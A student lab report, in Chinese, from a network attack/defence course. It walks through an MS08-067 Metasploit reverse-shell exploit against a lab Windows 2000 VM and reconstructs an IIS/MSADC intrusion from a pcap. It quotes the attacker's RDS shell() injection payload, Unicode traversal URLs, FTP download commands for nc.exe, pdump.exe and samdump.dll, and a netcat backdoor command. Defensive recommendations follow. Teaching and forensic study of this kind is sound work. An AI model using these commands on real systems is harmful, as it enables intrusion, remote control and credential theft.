20253912 2025-2026-2 《网络攻防实践》实践六报告
-
20253912 2025-2026-2 《网络攻防实践》第六次作业报告
1. 知识点梳理与总结
本次实验围绕 Metasploit 自动化漏洞利用、Windows 远程渗透攻击、网络流量取证分析以及团队对抗实践 展开。与前几次实验相比,本次实验不再只是单独学习扫描、抓包、防御规则或协议缺陷,而是把“漏洞利用、攻击控制、流量证据、取证复盘、对抗验证”串联到同一条实践链路中。
从整体上看,本次实验主要涉及三个层面的知识:
- 漏洞利用与会话建立:利用 Metasploit 调用
ms08_067_netapi模块,对 Windows SMB 服务进行远程代码执行验证,并通过反向 shell 获取命令执行会话; - 网络取证与攻击链还原:基于 Wireshark 对给定 pcap 流量进行分析,识别 IIS Unicode 目录穿越、MSADC/RDS 远程命令执行、工具下载、后门控制、账号操作和痕迹清理等行为;
- 团队对抗与攻防验证:在真实局域网桥接环境中进行攻防协作,一方实施远程渗透,另一方通过抓包还原攻击时间、协议入口、命名管道访问和命令执行痕迹。
也就是说,本次实验的核心目标不是简单地“运行一个 exploit”,而是理解:漏洞利用工具如何把协议漏洞转化为远程控制能力;抓包证据如何还原攻击过程;防守方又如何从网络流量中识别攻击链条。
1.1 Metasploit 渗透测试框架的作用
Metasploit 是一套模块化渗透测试框架,通常由以下几类组件构成:
组件 作用 本次实验中的体现 Exploit 漏洞利用模块 exploit/windows/smb/ms08_067_netapiPayload 攻击载荷 generic/shell_reverse_tcpOptions 参数配置 RHOST、LHOST、RPORT等Session 攻击成功后的会话 获取 Windows 命令行 shell 在本次 MS08-067 实验中,Metasploit 将目标识别、漏洞触发、Payload 投递和会话建立进行了统一封装。对学习者而言,它的价值不只是“自动化攻击”,更在于帮助我们清晰观察一条完整攻击链:
选择漏洞模块 → 配置目标参数 → 设置 Payload → 发起利用 → 建立反向连接 → 执行命令验证控制权。
其中,
generic/shell_reverse_tcp表示靶机在漏洞触发后主动向攻击机回连,攻击者获得的是普通命令行 shell,而不是 Meterpreter 这类高级会话。这种载荷结构简单、兼容性较强,适合 Windows 2000 这类较老的实验靶机。1.2 MS08-067、SMB 与 DCERPC 的安全意义
MS08-067 是 Windows Server Service 中的经典远程代码执行漏洞,常见攻击入口是 TCP 445 端口上的 SMB 服务。该漏洞之所以具有代表性,是因为它体现了 Windows 远程服务调用链中的典型风险:攻击者并不是直接“登录系统”,而是通过 SMB 协商、IPC$ 连接、命名管道访问和 DCERPC 调用等步骤,把特制数据送入存在缺陷的服务处理逻辑中,从而触发远程代码执行。
从抓包视角看,MS08-067 攻击通常会出现以下特征:
- 攻击机与靶机建立 TCP 445 连接;
- 出现 SMB Negotiate、Session Setup、Tree Connect 等交互;
- 访问
IPC$共享和相关命名管道; - 流量中可能出现
BROWSER、SPOOLSS、LSARPC等 RPC/命名管道相关内容; - 漏洞触发后,靶机向攻击机建立反向 TCP 连接,形成命令执行通道。
需要注意的是,抓包中出现
SPOOLSS、LSARPC等内容,并不意味着本次同时利用了多个独立漏洞。更准确地说,它们是 MS08-067 利用过程中涉及的远程调用通道或命名管道,真正的核心仍然是 Windows Server Service 远程代码执行漏洞。1.3 Wireshark 在本次实验中的取证价值
Wireshark 在本次实验中承担了两类角色:一是实时观察攻击流量,二是离线分析历史攻击样本。
在 Metasploit 实验中,Wireshark 可以帮助确认:攻击是否指向 445 端口、是否进行了 SMB 协商、是否出现了 DCERPC 相关请求、反向 shell 是否建立成功。也就是说,它把“攻击成功”从终端结果扩展为可验证的网络证据。
在 NT 系统破解取证分析中,Wireshark 则用于重建攻击链。通过追踪 TCP 流,可以看到攻击者先访问 Web 页面进行踩点,再探测
/msadc/目录和msadcs.dll,随后利用AdvancedDataFactory.Query触发命令执行,继续下载nc.exe、pdump.exe、samdump.dll等工具,并最终通过高端口 shell 对系统进行控制和操作。因此,本次实验进一步说明:抓包不是简单看数据包,而是通过协议字段、请求路径、响应状态码和 TCP 流重组,把攻击行为还原为一条可以解释的证据链。
1.4 NT/IIS 攻击取证中的关键技术点
取证分析部分涉及一次针对早期 Windows NT/IIS 主机的入侵。其核心攻击链包括:
- 前期踩点:访问主页、guest 页面和站点资源,判断目标服务环境;
- 目录与组件探测:访问
/msadc/、msadcs.dll,确认 MDAC/RDS 攻击面是否存在; - 远程命令执行:利用
AdvancedDataFactory.Query中的危险调用能力,使服务器执行系统命令; - Unicode 目录穿越:通过
%C0%AF等编码绕过路径限制,访问系统目录或命令解释器; - 工具下载与后门建立:通过 FTP 脚本下载
nc.exe、pdump.exe、samdump.dll,并使用 Netcat 建立远程 shell; - 后渗透操作:目录枚举、账号操作、读取修复目录中的 SAM 相关文件、上传文件、删除痕迹和留言。
这一部分的关键在于区分“破解工具”和“入侵入口”。攻击者并不是一开始用密码爆破工具直接登录,而是先利用 Web 远程命令执行能力进入系统,再使用口令转储相关工具获取或尝试获取 NT 认证材料。
1.5 与第二次、第三次、第四次、第五次作业之间的联系
(1)与第二次作业的联系:从“发现攻击面”到“验证攻击面”
第二次作业主要围绕信息收集、资产识别、端口扫描和漏洞评估展开,重点是发现目标主机开放了哪些服务、暴露了哪些端口、可能存在什么风险。本次第六次实验则是在此基础上进一步验证:当发现目标存在 SMB 445 服务或 IIS/MSADC 历史高危组件时,攻击者如何真正把这些攻击面转化为控制权。
因此,第二次作业解决的是“目标有什么风险面”,第六次实验解决的是“这些风险面如何被实际利用”。
(2)与第三次作业的联系:从“流量分析”到“攻击链取证”
第三次作业训练的是 tcpdump、Wireshark、协议分析和流量取证能力,重点是看清 TCP、HTTP、TELNET、ICMP、UDP 等协议行为。本次第六次实验则把这种能力进一步用于复杂攻击复盘:不仅要看出某个包属于 HTTP 或 SMB,还要判断它处于攻击链的哪个阶段,是踩点、探测、漏洞触发、工具下载,还是后门控制。
也就是说,第三次作业教会我们“怎么看流量”,第六次实验进一步要求我们“根据流量还原完整攻击故事”。
(3)与第四次作业的联系:从“协议缺陷利用”到“框架化漏洞利用”
第四次作业主要分析 ARP 欺骗、ICMP 重定向、SYN Flood、TCP RST、TCP 会话劫持等底层协议攻击,强调协议本身缺乏认证、完整性保护或状态保护时的风险。本次第六次实验则把这种攻击思想放到 Windows 远程服务和 Web 组件场景中:MS08-067、IIS Unicode 目录穿越和 MSADC/RDS 利用,本质上也是对协议处理逻辑和服务实现缺陷的利用。
区别在于,第四次作业更偏底层协议机制,第六次实验更偏漏洞框架和系统级远程控制。
(4)与第五次作业的联系:从“部署防御机制”到“验证防御需求”
第五次作业学习了 iptables、防火墙、Snort IDS 和 Honeywall 蜜网网关,重点是如何过滤流量、识别攻击、捕获行为并控制外联。本次第六次实验则反过来证明这些防御机制为什么必要:
- MS08-067 攻击说明 445 端口必须被严格访问控制;
- NT/IIS 入侵说明 Web 历史组件需要补丁、最小权限和出站控制;
- Netcat 后门说明高端口异常监听和反向连接需要被检测;
- pcap 取证说明 Snort/Honeywall 这类监测系统可以帮助还原攻击全过程。
因此,第五次作业回答“如何防御”,第六次实验通过真实攻击流量说明“为什么必须这样防御”。
(5)课程实践链路总结
将第二次到第六次作业串联起来,可以形成如下递进关系:
第二次:信息收集与漏洞评估 → 第三次:流量分析与取证 → 第四次:协议缺陷利用与主动攻击 → 第五次:防火墙、IDS 与蜜网防御 → 第六次:漏洞利用、取证复盘与团队对抗
这条链路体现了从“发现风险”到“观察证据”,再到“理解攻击、部署防御、复盘对抗”的完整学习过程。
1.6 知识拓扑图
如下图所示:

2. 实践过程
2.1 动手实践:Metasploit Windows 远程渗透实验
本部分实验的目标是使用 Metasploit 框架调用 MS08-067 漏洞利用模块,对 Windows 靶机的 SMB 服务进行远程渗透验证,并借助 Wireshark 观察攻击流量。实验分析重点不只是“是否拿到 shell”,还包括 SMB/DCERPC 通信链路、漏洞模块参数、Payload 回连过程以及攻击成功后的命令执行痕迹。
实验开始之前,先进行网络配置:
2.1.1 网络配置与靶机地址确认
(1)设置网络适配器
同 Windows 操作,注意按照自己的拓扑图选择对应网卡。
本实验中该机作为靶机,使用 VMnet8。
(2)配置 IP 地址
具体指令如下:
vim /etc/network/interfaces输入以下静态地址配置:
auto eth0 iface eth0 inet static address 192.168.5.2 gateway 192.168.5.1 netmask 255.255.255.128
图示说明: 靶机网卡的静态地址配置,
address、gateway和netmask决定了靶机所在网段。这里的意义是先保证攻击机与靶机处在可通信的实验网络中,否则后续 Metasploit 即使参数正确也无法建立连接。注:Vim 编辑器有编辑模式和命令模式,按
i进入编辑模式后再输入内容,按Esc退出编辑模式。按
Esc进入命令模式后,输入:wq保存并退出。重启网络即可:
sudo systemctl restart networkingLinux 下查看 IP 地址:
ifconfig
图示说明: 该图用于确认 Linux 网卡已经成功获得配置后的 IP 地址。取证分析时要特别记录攻击机、靶机 IP,因为后续 Wireshark 过滤条件、Metasploit 的
RHOST/LHOST参数都依赖这些地址。打开 Kali,在终端中输入
msfconsole进入 Metasploit Framework。
图示说明: 图中显示 Kali 已进入
msfconsole,说明渗透测试框架环境加载成功。后续所有漏洞模块搜索、参数配置和攻击执行都在该控制台中完成。输入命令
search ms08_067来查找漏洞。
图示说明: 该图是通过
search ms08_067检索漏洞模块的结果。这里需要关注模块名称、平台类型和漏洞路径,确认使用的是 Windows SMB 服务相关的 MS08-067 远程代码执行模块。使用命令
use windows/smb/ms08_067_netapi进入漏洞工作目录。
图示说明: 图中使用
use windows/smb/ms08_067_netapi进入漏洞模块上下文,终端提示符变化说明当前操作对象已经切换到该 exploit 模块。后续参数设置都会作用于这个模块。使用命令
show options查看漏洞攻击前所需的设置。
图示说明: 该图展示
show options的参数列表,重点检查RHOST、RPORT、LHOST等字段。RHOST是靶机地址,LHOST是攻击机回连地址,二者配置错误都会导致攻击失败或 shell 无法返回。使用命令
show payloads显示漏洞载荷。
图示说明: 该图继续展示 Payload 选择结果,可见不同载荷在稳定性、权限和功能上存在差异。
generic/shell_reverse_tcp功能简单但兼容性较好,适合 Windows 2000 这类老旧靶机环境。选择其中的第三个进行攻击:
输入命令
set payload generic/shell_reverse_tcp设置载荷。
输入命令set RHOST 192.168.200.131设置攻击主机地址(这里用靶机中的 Win2Kserver)。
输入命令set LHOST 192.168.200.4设置攻击机地址。
图示说明: 该图展示了 Payload、
RHOST和LHOST的设置过程。此处相当于把漏洞模块、攻击目标和回连地址绑定起来,是从“选择漏洞”进入“准备执行攻击”的关键步骤。之后输入
exploit进行攻击,出现会话连接,攻击成功。
图示说明: 图中执行
exploit后出现会话连接,说明漏洞触发成功并建立了反向 shell。出现命令提示符意味着攻击者已经可以在靶机上执行系统命令,这是 MS08-067 攻击成功的直接证据。使用 Wireshark 监听攻击过程。

图示说明: 该图为 Wireshark 抓包结果,能够从网络侧看到攻击流量。重点观察 445 端口 SMB 通信、DCERPC 调用以及后续反向连接,这些内容可以把终端中的“攻击成功”转化为可复核的流量证据。
从流量角度看,攻击主要围绕 445 端口上的 SMB/DCERPC 通信展开,并涉及 IPC$ 共享、命名管道访问以及后续反向 shell 连接。
输入
ls,结果在 Wireshark 中发现对应痕迹。
图示说明: 图中输入命令后在 Wireshark 中出现对应痕迹,说明 shell 中的交互命令可以被网络流量捕获。通过“追踪 TCP 流”可以还原命令输入和回显内容,为后续取证报告提供证据链。
通过追踪流可以看到被拖出来的命令行。
攻击过程分析:
2.1.2 MS08-067 远程渗透攻击过程总结
【攻击环境】
- 攻击机:192.168.200.4 (Kali/Metasploit)
- 靶机:192.168.200.131 (Windows 2000 Server)
【攻击链路还原】
- 建立连接与匿名登录(信息刺探)
- 攻击机主动连接靶机的 445 端口(SMB 服务)。
- 通过 SMB 协议进行协商,并利用 NTLM 协议发起匿名认证(空会话),成功建立基础通信渠道。
- 接入命名管道(寻找突破口)
- 攻击机连接靶机的
IPC$(进程间通信共享)作为入口。 - 尝试打开
\LLSRPC管道被拒后,成功打开了\SPOOLSS(打印后台处理服务)命名管道。这是 MS08-067 漏洞的经典利用路径。
- 攻击机连接靶机的
- 触发溢出漏洞(核心攻击阶段)
- 攻击机向
\SPOOLSS管道写入了 139 字节的 Shellcode(恶意载荷)。 - 紧接着发送 DCERPC Bind(RPC绑定请求),利用路径规范化过程中的缺陷,触发了靶机
spoolsv.exe进程的缓冲区溢出。
- 攻击机向
- 获取系统控制权(后渗透阶段)
- 漏洞触发后,Shellcode 在靶机内存中执行,向攻击机发起了反向 TCP 连接(Reverse Shell)。
- 攻击机成功弹出了
C:\WINNT\system32>的命令提示符,意味着已获取靶机的 SYSTEM 最高权限。 - 攻击机通过发送
echo NgjbsYlxXQn9DM8t指令并获得靶机回显,验证了命令执行通道的有效性。
【利用的核心漏洞】
- 暴露的 SMB 服务 (445 端口) 与允许的匿名 IPC$ 连接。
- MS08-067 (CVE-2008-4250):Print Spooler 打印服务处理 RPC 请求时的缓冲区溢出漏洞。
【防御建议】
- 补丁更新:及时安装微软提供的 MS08-067 安全补丁(KB958644)。
- 访问控制:在防火墙上严格限制对 445 / 139 端口的外部访问。
- 服务降面:如果服务器不需要打印功能,直接禁用 Print Spooler 服务。
- 流量监控:在 IDS/IPS 中配置规则,拦截针对
\SPOOLSS或\browser管道的异常 RPC 绑定请求。
2.2 取证分析实践:解码一次成功的 NT 系统破解攻击
本部分属于典型的网络取证分析任务,目标是根据给定 pcap 流量重建一次成功入侵 Windows NT/IIS 蜜罐主机的全过程。分析思路采用“先整体观察通信双方,再定位异常 HTTP 流,随后追踪工具下载、后门控制、权限操作和痕迹清理”的方法,尽量把每一张截图都对应到攻击链中的具体阶段。
首先在学习通下载
demo_NT_attack_data.zip,解压后把.log后缀改成.pcap。
使用 Wireshark 打开

可以看到是 snort 上 dump 下来的一段流量。
通过整体分析,得出了结论:这是一次针对 IIS/MDAC(RDS)远程命令执行 的入侵,攻击者先通过 Web 端点拿到命令执行能力,再在受害机上下载密码转储与远程控制工具,随后导出本地口令散列、建立后门式控制、做权限维持与环境探测,最后还尝试清理痕迹。
首先我们对整个攻击过程进行分析,下面从文件中搜集了几个异常进行分析:
1.在流 49 中,发现取证分析实践中“前期打点(信息收集)”阶段的关键证据(对应流 2):

-
1. 流量性质:浏览器自动加载页面资源
- GET /lrfptop.gif HTTP/1.1:请求获取一个名为 lrfptop.gif 的 GIF 图像文件。
- Referer: http://lab.wiretrip.net/:这是最关键的字段。 它表明这个请求是从 http://lab.wiretrip.net/(即网站首页)发起的。结合你上一张截图(访问首页),这就形成了完整的行为链条:攻击者访问了首页 -> 首页 HTML 代码中包含了这张图片 -> 攻击者的浏览器自动发起 GET 请求去下载这张图片以渲染页面。
2. 攻击者画像印证
- User-Agent 与之前完全一致:依然是带有 Hotbar 插件的 IE 5.01 浏览器。这证明是同一个攻击者(同一会话)在持续浏览该网站。这说明攻击者在此阶段可能是在人工浏览页面,用肉眼观察这个网站的内容,而不是一开始就直接用自动化脚本狂轰滥炸。
3. 服务器响应分析
- HTTP/1.1 200 OK 与 Content-Type: image/gif:服务器正常响应了请求,并明确告知返回的数据类型是 GIF 图片。
- GIF89a#...:这是响应体的内容。GIF89a 是标准的 GIF 图片文件头(Magic Number),后面的乱码(如 }}}{{{yyywww...)是图片调色板和像素数据的 ASCII 文本化显示。这证明服务器确实返回了一张真实的、无害的图片,不存在任何恶意代码(如针对浏览器的缓冲区溢出载荷)的交互。
在整个渗透攻击的时间线中,这段流量属于“前期踩点与环境确认”的一部分。
它告诉取证分析人员:攻击者在成功获取了服务器 Banner(IIS 4.0)后,并没有立刻离开,而是任由浏览器加载完了首页的图片资源,甚至可能在仔细阅读首页上的文字(还记得首页 title 是 "rain forest puppy" 吗)。这反映了攻击者在发起真正的恶意代码注入(如随后的 Unicode 目录穿越)之前,正在人工评估目标环境。
2.在流131中,攻击者在明确目标为 IIS 4.0 服务器后,进行的实质性漏洞探测(目录枚举)行为:

1. 攻击者的请求 (红色部分:HTTP Request)
- GET /msadc/ HTTP/1.1:这是整张截图的核心。 攻击者不再请求普通的网页,而是直接尝试访问 /msadc/ 目录。
- 背景知识:在 IIS 4.0 和 5.0 时代,/msadc/ 是微软数据访问组件(MDAC)中远程数据服务(RDS)的默认虚拟目录。这个目录下的 msadcs.dll 文件存在历史上极著名的严重漏洞(即作业中提到的 RDS/ADC 漏洞),允许攻击者无需认证即可远程执行任意系统命令。
- 意图:攻击者正在探测目标系统是否安装了存在漏洞的 RDS 组件。
- Cookie: ASPSESSIONID...:攻击者带上了 ASP 会话 Cookie。这表明在此次请求之前,攻击者已经与服务器的动态页面(如 ASP 文件)有过交互,服务器为其分配了会话状态。
2. 靶机的响应 (蓝色部分:HTTP Response)
- HTTP/1.1 403 Access Forbidden:服务器返回了 403 禁止访问的状态码。
- HTML 响应体 (Directory Listing Denied):页面内容明确提示“拒绝目录列表”。这意味着服务器配置了安全策略,不允许用户在没有指定具体文件名的情况下查看该目录下的所有文件列表。
3. 取证结论:一次看似失败、实则成功的探测
从表面上看,攻击者得到了 403 报错,似乎被防御住了。但从攻击者的视角来看,这次探测取得了巨大的成功。
- 确认了攻击面:如果目标服务器上没有 /msadc/ 这个目录,IIS 应该返回 404 Not Found(未找到)。
- 信息泄露:服务器返回的是 403 Forbidden(禁止目录列表),这等于变相告诉攻击者:“/msadc/ 这个目录确实存在,只是我不让你看里面有什么。”
3.在流890中,发现了问题:这段数据包展示了攻击者正式利用 IIS RDS 组件漏洞 实现了远程命令执行的完整过程。

1. 攻击特征与工具识别 (HTTP 头部)
- POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1:攻击者向存在漏洞的 msadcs.dll 发送 POST 请求,调用其 AdvancedDataFactory.Query 方法。这个方法本意是允许客户端向服务器端的数据库发送查询请求。
- User-Agent: Mozilla/2.0...:注意这里的 User-Agent 变成了过时的 IE 3.01。这表明攻击者放弃了人工浏览器,转而使用自动化漏洞利用脚本(Exploit)。
- boundary=!ADM!ROX!YOUR!WORLD!:这是极其明显的攻击工具指纹(Signature)。"ADM" 指代的是当时著名的黑客组织 ADM Crew。这个边界字符串证明攻击者使用了一个公开的、现成的 RDS 漏洞利用脚本(如 adm-rds.c 或类似的 perl 脚本)。
2. 漏洞利用核心:SQL 注入与命令执行 (Payload 分析)
请求体中的数据是 Unicode 编码的(每个字母间带有空字节,显示为 .)。如果我们将这段 Payload 剔除无用的点进行解码,其核心内容是一条精心构造的 SQL 语句和数据库连接字符串:
核心 SQL 语句:
Select * from Customers where City='|shell("cmd /c echo haxedj00 >>sasfile")|'
数据库连接字符串 (dbq):
driver={Microsoft Access Driver (*.mdb)};dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;
原理解析:
- 利用本地默认数据库:攻击者利用了 IIS 4.0 默认安装的一个示例 Access 数据库(btcustmr.mdb)作为跳板。
- VBA Shell 注入:这不仅是一个 SQL 注入。在 Microsoft Access 数据库引擎中,shell() 是一个内置的 VBA 函数,用于执行操作系统命令。攻击者通过闭合 SQL 语句,将 shell(...) 函数注入到了 where City= 的条件判断中。
- 执行系统命令:当 msadcs.dll 将这条查询传递给本机的 Access 数据库引擎去执行时,数据库引擎会解析并执行 shell() 函数,从而导致底层操作系统执行了包含在里面的命令:cmd /c echo haxedj00 >>sasfile。
攻击者的意图:
这是一条测试探针(Test Payload)。攻击者让系统执行 cmd.exe,输出字符串 haxedj00 并追加写入到名为 sasfile 的文件中。攻击者以此来验证该漏洞是否真实可利用,以及当前执行环境是否具有写文件的权限。3. 攻击结果分析 (服务器响应)
- HTTP/1.1 200 OK:服务器返回 200 OK,表示该恶意查询请求被 IIS 和后端的 Access 数据库成功接收并处理,没有发生崩溃或报错。
- 响应体内容:返回的数据包含了大量如 CustomerID、ContactFirstName 等字段名。这说明数据库引擎确实解析了 Select * from Customers 语句,返回了表结构。这也侧面证实了,捆绑在 SQL 语句中的 shell() 函数已经被服务器成功执行。
在这段流量中,攻击者成功突破了系统边界,实现了从 Web 访问到系统底层命令执行的跨越。
4.在流1021中发现攻击者构建并下载后门阶段:

这段数据包展示了攻击者利用 IIS Unicode 目录穿越漏洞,通过前面已经部署好的 cmd1.exe 来逐行写入 FTP 自动下载脚本的关键过程。
1. 攻击手法核心:Unicode 目录穿越
- 请求路径:
GET /msadc/..%C0%AF../..%C0%AF../..%C0%AF../... - 原理解析:%C0%AF 是字符 /(或 \)的超长 Unicode(UTF-8)编码变体。由于早期 IIS 4.0/5.0 在进行安全路径检查和实际路径解析时使用了不同的解码逻辑,攻击者通过输入 %C0%AF 成功欺骗了 IIS 的安全检查,实现了 ../(返回上一级目录)的效果,从而跳出了 Web 根目录的限制。
2. 漏洞利用分析:执行系统命令
- 目标程序:
.../program%20files/common%20files/system/msadc/cmd1.exe- 正如你在报告中(流 97)所分析的,攻击者之前已经将系统原生的 cmd.exe 复制到了这个目录下并重命名为 cmd1.exe。这是一种常见的绕过权限限制或掩人耳目的手法。
- 执行指令 Payload:
?/c+echo+johna2k+>>ftpcom- 问号 ? 后的内容作为参数传递给了 cmd1.exe。
- 实际执行的命令为:
cmd1.exe /c echo johna2k >> ftpcom。 - 意图:攻击者正在向一个名为 ftpcom 的文件中追加写入字符串 johna2k。结合你报告中的整理,johna2k 正是攻击者控制的 FTP 服务器的登录用户名。攻击者正在通过这种方式,一行一行地“敲”出一个 FTP 自动下载脚本。
3. 服务器响应分析:看似失败,实则成功
- 响应状态:
HTTP/1.1 502 Gateway Error 和 CGI Error。 - 取证误区与真相:从表面看,服务器返回了 502 错误,提示“CGI 应用程序行为异常,未返回完整的 HTTP 标头”。很多人会误以为攻击失败了。
- 真实情况:攻击完全成功。
- 当 IIS 将
cmd1.exe作为 CGI 程序执行时,它期望该程序向标准输出打印 HTTP 响应头(例如Content-Type: text/html)。 - 但是,攻击者执行的命令是 echo ... >> ftpcom,使用了 >> 重定向符号。这意味着命令的输出被直接写入了文件中,没有任何数据被返回给 IIS 的标准输出。
- 因此,IIS 等不到响应头,只能报错 502。在针对 IIS 的这种盲打命令执行中,502 CGI Error 恰恰是命令被成功静默执行的标志。
- 当 IIS 将
这段流量是攻击链条中“植入后门”环节的重要拼图。攻击者正在熟练地利用 Unicode 穿越漏洞,结合之前拷贝的 cmd 副本,通过“命令静默执行产生 502 报错”的特性,有条不紊地向目标机器写入 FTP 脚本(ftpcom)。
在随后的流量中,看到类似的构造(例如:
echo haxedj00 >> ftpcom写入密码,echo get nc.exe >> ftpcom写入下载指令等),直到最后执行 ftp -s:ftpcom 触发下载。2.2.1 攻击者使用了什么破解工具进行攻击
先利用 Web 远程执行漏洞拿到系统命令执行,再用密码转储工具去破解/获取 NT 口令材料。
从流量看,攻击者最关键的入口工具/方法是:
-
MSADC / RDS Exploit:对
POST /msadc/msadcs.dll/AdvancedDataFactory.Query
发送特制请求,User-Agent: ACTIVEDATA,并在参数里嵌入
shell("cmd /c ...")
这样的命令执行内容。这是典型的 IIS + MDAC/RDS 远程命令执行利用。
-
pmdump/pwdump 类工具:
pdump.exe+samdump.dll:攻击者把这两个文件下载到目标机后执行,用来导出 Windows NT 的口令散列。下载
samdump.dll- 流:
213.116.251.162:1782 -> 172.16.1.106:80 - 包号:217–225

下载
pdump.exe- 流:
213.116.251.162:1784 -> 172.16.1.106:80 - 包号:236–244

下载
nc.exe- 流:
213.116.251.162:1786 -> 172.16.1.106:80 - 包号:255–263

- 流:
-
nc.exe(Netcat):用于建立交互式远程控制通道。FTP 控制流
172.16.1.106:3142 -> 213.116.251.162:21- 包号:1096–1337

这条流里能直接看到:
USER johna2kPASS haxedj00RETR nc.exeRETR pdump.exeRETR samdump.dll
2.2.2 攻击者如何使用这个破解工具进入并控制了系统
攻击者先踩点,再探测
/msadc/,然后用AdvancedDataFactory.Query执行cmd /c ...,确认能远程执行后,在目标机上拼接 FTP 脚本下载工具,最后用nc.exe开了远程 shell。关键证据位置
1)踩点访问主页和 guest 页面
-
首页:
- 流:
213.116.251.162:1760 -> 172.16.1.106:80 - 包号:34–71

- 流:
-
guest 页面:
- 流:
213.116.251.162:1764 -> 172.16.1.106:80 - 包号:66–110

- 流:
过滤:
frame.number >= 34 && frame.number <= 1102)探测 MSADC
-
/msadc/- 流:
1769 - 包号:127–135

- 流:
-
/msadc/msadcs.dll- 流:
1770 - 包号:137–144

- 流:
过滤:
frame.number >= 127 && frame.number <= 1443)第一次命令执行测试
- 流:
1771 - 包号:146–156

- 里面的关键内容:
POST /msadc/msadcs.dll/AdvancedDataFactory.Queryshell("cmd /c echo werd >> c:\fun")
这个是“拿到远程执行”的核心证据。
4)验证命令执行是否成功
- 流:
1772 - 包号:158–169

- 请求内容:
GET /guest/default.asp/..À¯../..À¯../..À¯../fun
这个说明攻击者在验证刚才写入的
fun文件是否存在。5)拼接 FTP 脚本并运行
这一组最适合做“攻击步骤图”:
-
写用户名:
- 流:
1778 - 包号:179–187

- 内容:
echo user johna2k > ftpcom
- 流:
-
写密码:
- 流:
1780 - 包号:198–206

- 内容:
echo hacker2000 >> ftpcom
- 流:
-
写下载
samdump.dll:
- 流:
1782 - 包号:217–225

- 流:
-
写下载
pdump.exe- 流:
1784 - 包号:236–244

- 流:
-
写下载
nc.exe- 流:
1786 - 包号:255–263

- 流:
-
运行 FTP 脚本:
- 流:
1791 - 包号:293–304

- 内容:
ftp -s:ftpcom -n www.nether.net
- 流:
建议总过滤:
frame.number >= 179 && frame.number <= 3046)运行口令转储工具
- 流:
1793 - 包号:337–345

- 内容:
pdump.exe >> new.pass
7)建立远程控制
-
触发 netcat 监听:
- 流:
1887 - 包号:1224–2094

- 内容:
nc -l -p 6969 -e cmd1.exe
- 流:
8)真正的控制 shell
-
第一条控制 shell
- 流:
213.116.251.162:1888 -> 172.16.1.106:6969 - 包号:1275–3653

- 流:
-
对应回显
- 流:
172.16.1.106:6969 -> 213.116.251.162:1888 - 包号:1276–3654

- 流:
建议过滤:
tcp.port == 6969 && ip.addr == 213.116.251.1622.2.3 攻击者获得系统访问权限后做了什么
-
他做了四类事:
- 目录遍历和环境侦察;
- 导出口令材料;
- 权限/账号相关操作;
- 清理痕迹、上传文件、写留言。
1)目录遍历与环境侦察
证据位置:6969 shell
- 流:
1888 <-> 6969 - 包号:1275–3654

- 命令关键词:
dircd\cd exploitscd microsoftcd newfilescd unixcd program filescd common filescd msadc
过滤建议:
tcp.stream eq 1888然后“追踪 TCP 流”截图。
2)导出口令材料 / 读取 SAM 相关内容
证据位置 1:运行 pdump
- 流:
1793 - 包号:337–345

- 内容:
pdump.exe >> new.pass
证据位置 2:上传
new.pass- 流:
1803 - 包号:432–445

- 内容:
ftp -s:ftpcom2 -n www.nether.net
证据位置 3:6969 shell 里查看 repair 目录和
sam._- 流:
1888 <-> 6969 - 包号范围: 1275–3654

- 关键词:
cd repairrdisk -stype sam._type har.txt
这是“拿到 NT 口令材料”的关键截图位置。
3)账号与权限操作
证据位置 A:修改 IWAM_KENNY 密码
- 流:
2082 - 包号:4677–4685

- 内容:
net user IWAM_KENNY Snake69Snake69
过滤:
frame.number >= 4677 && frame.number <= 4685证据位置 B:6969 shell 里做用户/组相关操作
- 流:
1888 <-> 6969 - 包号:1275–3654

- 关键词:
net usersnet localgroupnet localgroup administratorsnet user himan HarHar666 /ADD
这里可以“追踪 TCP 流”里的命令和回显。
4)建立第二个 shell / 再次控制
证据位置:6968 shell
- 流:
213.116.251.162:1993 -> 172.16.1.106:6968 - 包号:3747–4184

-
回显流:
172.16.1.106:6968 -> 213.116.251.162:1993- 包号:3748–4185

关键词:
dirnet sessioncd wiretripcd inetpubcd wwwrootcopy c:\har.txtdel har.txt
过滤:
tcp.port == 6968 && ip.addr == 213.116.251.162
5)上传文件到攻击者 FTP
证据位置:第二次 FTP
-
FTP 控制流:
172.16.1.106:3158 -> 213.116.251.162:21- 包号:5379–5741

-
服务端响应:
213.116.251.162:21 -> 172.16.1.106:3158- 包号:5381–5740

-
关键内容:
STOR whisker.tar.gz
过滤:
frame.number >= 5379 && frame.number <= 5741
6)删除痕迹
证据位置
-
删除
ftpcom- 流:
2187 - 包号:5754–5803

- 内容:
del ftpcom
- 流:
shell 里删除临时文件
- 6969 shell 关键词:
del yay2.txtdel yay3.txtdel yay*del heh.txtdel samdump.dlldel pdump.exe
适合用:
tcp.stream eq 1888
2.2.4 我们如何防止这样的攻击
这次攻击的核心问题不是“口令太弱”,而是Web 组件存在远程命令执行面,且主机权限边界过弱。防守上应该分层做。
最重要的是关闭或修补 MSADC/RDS 这类历史危险组件。
如果 IIS/MDAC 的这条执行链不存在,后面的所有动作都不会发生。然后是最小权限。
Web 进程账号绝不能拥有过高权限,更不能让 IUSR/IWAM 之类账号有机会被拉进管理员组;同时应限制命令解释器、FTP 客户端、Netcat 一类工具的可执行能力。还要做出站控制。
这次攻击里,目标机是主动向外连 FTP 下载工具、再把结果回传出去的。只要对外连做白名单,很多后渗透动作会直接失败。再就是主机侧与网络侧检测。
可以重点监测:- 对
/msadc/msadcs.dll/AdvancedDataFactory.Query的异常访问 cmd.exe /c型命令执行痕迹- Web 目录或系统目录突然出现
nc.exe、pdump.exe、samdump.dll net user、net localgroup、rdisk这类高风险命令- 异常高端口 shell 会话
- 目标主机主动向外部 FTP 建连
最后是不要使用明文/过时服务和旧版 NT 暴露面,并结合补丁、WAF、EDR、出站 ACL、应用白名单一起做。
2.2.5 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
是的,我认为他后期已经明显警觉了。
最强的证据就是他亲自写下了这句:
Hi, i know that this is a lab server, but patch the holes! :-)
这基本已经不是“怀疑”,而是明确意识到目标很可能是实验/诱捕环境。
除此之外,还有几个旁证:
- 他在系统里看到了
C:\wiretrip,其中有一批与安全研究/工具相关的文件,比如msadc*.pl、RFP*、whisker*,这非常不像普通生产主机。 - 主机名本身就是
lab.wiretrip.net,也带有明显实验环境意味。 - 他在后期有明显的清理行为,说明他开始在意暴露和取证问题。
